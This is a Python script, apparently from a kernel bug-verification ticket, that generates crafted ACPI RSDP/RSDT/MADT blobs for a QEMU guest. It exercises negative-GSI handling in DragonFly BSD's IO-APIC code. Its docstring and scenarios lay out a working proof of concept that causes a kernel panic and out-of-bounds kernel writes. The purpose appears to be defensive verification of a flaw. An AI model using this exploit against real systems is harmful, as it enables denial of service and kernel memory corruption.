DF-5502 / gen_madt.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 | #!/usr/bin/env python3 """ gen_madt.py -- craft a minimal RSDP->RSDT->MADT chain for the pass-2 verification of sys/platform/pc64/apic/ioapic.c (negative-GSI class). Injection model (identical to the proven DF-5431 rig): - loader kenv hint.acpi.0.rsdp=0x40000000 (acpi_sdt.c:71 -- hinted RSDP accepted with no signature/checksum validation) - QEMU -device loader,file=<blob>,addr=0x40000000,force-raw=on Blob layout (offsets from 0x40000000): +0x0000 RSDP rev0 -> RSDT at +0x100 +0x0100 RSDT (1 entry) -> MADT at +0x200 +0x0200 MADT: Address=0xFEE00000 (real LAPIC mmio), Flags=1, then scenario entries +0x1000 fake IO-APIC "register file" (plain RAM): the ioapic window protocol is select@+0x00 / data@+0x10, so on RAM the kernel's ID readback echoes and the VER read returns our preload dword at +0x10 => npin fully attacker-chosen. Scenarios: control 2 CPUs + real IOAPIC base 0 -> must boot normally negpanic + 2nd IOAPIC covering GSI -1 only -> ioapic_gsi_setup(-1) aliases the ioc_intsrc[].int_gsi == -1 sentinel (ioapic.c:277/ :358), forwarding INTR_TRIGGER_CONFORM(0) from the zeroed struct into ioapic_pin_prog() -> panic (ioapic.c:520 on production kernels; KKASSERT ioapic_abi.c:809 on INVARIANTS) negwrite + 16 INTSRC overrides (kill all -1 sentinels) + 2nd IOAPIC covering GSI[-24,-1] -> for gsi=-1 the sentinel scan can't match, irq=gsi=-1 passes "irq < ISA_IRQ_CNT" (ioapic.c:371), reads ioc_intsrc[-1] OOB (ioapic.c:372 -- lands on ioc_list.tqh_first high dword < 0) and forwards irq=-1 to ioapic_set_legacy_irqmap(): OOB writes to ioapic_irqmaps[0][-1] and ioapic_irqs[-1] (== ioc_intsrc[14/15] on the stock link layout) on production kernels. """ import struct import sys BASE = 0x40000000 RSDP_OFF, RSDT_OFF, MADT_OFF, FAKE_IOAPIC_OFF = 0x0, 0x100, 0x200, 0x1000 def csum(b): return (-sum(b)) & 0xFF def sdth(sig, length, rev, oem=b'DFBSD '): h = bytearray(36) h[0:4] = sig struct.pack_into('<I', h, 4, length) h[8] = rev h[9] = 0 h[10:16] = b'DFBSD ' h[17:21] = b'PASS' struct.pack_into('<I', h, 21, 1) h[25:29] = b'IACT' struct.pack_into('<I', h, 29, 1) return h def lapic(pid, apic_id, enabled=True): return struct.pack('<BBBBI', 0, 8, pid, apic_id, 1 if enabled else 0) def ioapic(apic_id, addr, gsi_base): return struct.pack('<BBBBII', 1, 12, apic_id, 0, addr, gsi_base & 0xFFFFFFFF) def intsrc(bus, irq, gsi, flags=0): return struct.pack('<BBBBIH', 2, 10, bus, irq, gsi & 0xFFFFFFFF, flags) def build(scenario): madt_entries = b'' fake_ver = None # dword preloaded at fake-ioapic +0x10 (IOWIN) if scenario == 'control': madt_entries = lapic(0, 0) + lapic(1, 1) madt_entries += ioapic(0, 0xFEC00000, 0) elif scenario == 'negpanic': madt_entries = lapic(0, 0) + lapic(1, 1) # real QEMU ioapic (npin 24 from real VER) + RAM ioapic covering # exactly GSI -1: VER preload maxredir=0 -> npin=1 madt_entries += ioapic(0, 0xFEC00000, 0) madt_entries += ioapic(1, BASE + FAKE_IOAPIC_OFF, 0xFFFFFFFF) fake_ver = (0 << 16) # maxredir 0 -> npin 1 elif scenario == 'negwrite': madt_entries = lapic(0, 0) + lapic(1, 1) # kill every ioc_intsrc[k].int_gsi == -1 sentinel so the gsi==-1 # scan at ioapic.c:354-363 cannot match (overriden -> 1000+k) for k in range(16): madt_entries += intsrc(0, k, 1000 + k) # real ioapic [0,23] + RAM ioapic [-24,-1]: VER maxredir=23 -> npin 24 madt_entries += ioapic(0, 0xFEC00000, 0) madt_entries += ioapic(1, BASE + FAKE_IOAPIC_OFF, -24) fake_ver = (23 << 16) # maxredir 23 -> npin 24 else: raise SystemExit('unknown scenario ' + scenario) madt_len = 44 + len(madt_entries) madt = sdth(b'APIC', madt_len, 3) + bytearray(8) struct.pack_into('<I', madt, 36, 0xFEE00000) # Local Apic Address struct.pack_into('<I', madt, 40, 1) # PCAT_COMPAT madt += madt_entries madt[9] = csum(madt) rsdt_len = 36 + 4 rsdt = sdth(b'RSDT', rsdt_len, 1) + bytearray(4) struct.pack_into('<I', rsdt, 36, BASE + MADT_OFF) rsdt[9] = csum(rsdt) rsdp = bytearray(24) rsdp[0:8] = b'RSD PTR ' rsrp_rev = 0 rsdp[8] = rsrp_rev struct.pack_into('<I', rsdp, 16, BASE + RSDT_OFF) rsdp[9] = csum(rsdp) blob = bytearray(FAKE_IOAPIC_OFF + 0x100) blob[RSDP_OFF:RSDP_OFF + len(rsdp)] = rsdp blob[RSDT_OFF:RSDT_OFF + len(rsdt)] = rsdt blob[MADT_OFF:MADT_OFF + len(madt)] = madt if fake_ver is not None: struct.pack_into('<I', blob, FAKE_IOAPIC_OFF + 0x10, fake_ver) return bytes(blob) if __name__ == '__main__': if len(sys.argv) != 3: raise SystemExit('usage: gen_madt.py <control|negpanic|negwrite> <out.bin>') blob = build(sys.argv[1]) with open(sys.argv[2], 'wb') as f: f.write(blob) print('%s: %d bytes -> %s' % (sys.argv[1], len(blob), sys.argv[2])) |